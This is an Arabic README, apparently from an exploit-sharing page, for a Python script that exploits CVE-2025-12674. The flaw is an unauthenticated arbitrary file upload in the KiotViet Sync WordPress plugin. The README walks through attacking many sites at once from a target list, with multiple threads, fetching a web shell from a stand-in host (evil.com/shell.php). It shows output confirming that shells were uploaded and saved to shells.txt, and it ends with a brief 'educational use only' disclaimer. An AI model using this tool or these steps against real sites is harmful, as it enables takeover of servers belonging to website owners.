CVE-2025-12674

KiotViet Sync <= 1.8.5 - رفع ملفات تعسفي بدون مصادقة

🐚 KiotViet Sync <= 1.8.5 - رفع ملفات تعسفي بدون مصادقة

---

📝 الوصف

إضافة KiotViet Sync لـ WordPress (الإصدارات حتى 1.8.5 وما يشملها) معرّضة لرفع ملفات عشوائية، بسبب عدم وجود تحقق من نوع الملف في دالة create_media().
تسمح هذه الثغرة للمهاجمين غير المصادَق عليهم برفع ملفات عشوائية إلى الخادم، مما قد يؤدي إلى تنفيذ برمجيات عن بُعد.

• CVE: CVE-2025-12674
• CVSS: 9.8 (حرجة)

---

🚀 الاستخدام

1. استنسخ هذا المستودع، أو حمّل السكربت.

2. جهّز أهدافك:
   ضع هدفًا واحدًا في كل سطر داخل ملف باسم list.txt.

   root@kitploit:~

   example.com
   site2.com
   http://site3.com
   

3. شغّل سكربت الاستغلال:
   اسم السكربت هو:

   root@kitploit:~

   CVE-2025-12674.py
   

   root@kitploit:~

   python3 CVE-2025-12674.py
   

4. عندما يُطلب منك، أدخل خياراتك:

   root@kitploit:~

   Enter targets file name (default: list.txt): list.txt
   Enter number of threads (default: 10): 
   Enter REMOTE SHELL URL (direct link): http://evil.com/shell.php
   ╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
   │ Loaded 1 targets. Threads: 10.                                                                                           │
   ╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
   ╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
   │ http://nxk.ddev.site                                                                                                     │
   │ Trying KiotViet exploit...                                                                                               │
   ╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
   ╔══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
   ║ ✔ Shell uploaded!                                                                                                        ║
   ║ Check here:                                                                                                              ║
   ║ http://nxk.ddev.site/wp-content/uploads/2026/01/                                                                         ║
   ║                                                                                                                          ║
   ╚══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝
              Summary           
                                
     Metric              Value  
    ─────────────────────────── 
     Total attempts          1  
     Successful shells       1  
     Failed attempts         0  
   

• مجلد الإخراج للشيل المرفوع لا يُظهر اسم الملف (لأنه يُولَّد ديناميكيًا).

---

📂 المخرجات

• يتم حفظ جميع مسارات الشيل الناجحة في shells.txt.
• يتم إنشاء نسخ احتياطية من المخرجات تلقائيًا مع طوابع زمنية.

---

⚠️ إخلاء المسؤولية

هذا السكربت مُقدَّم لأغراض تعليمية واختبارات أمنية مرخّصة فقط.
الاستخدام غير المصرّح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني وغير أخلاقي.
المؤلف لا يتحمل أي مسؤولية عن إساءة الاستخدام أو عن أي ضرر ناتج.

---

👤 المؤلف

Nxploited (Khaled Alenazi)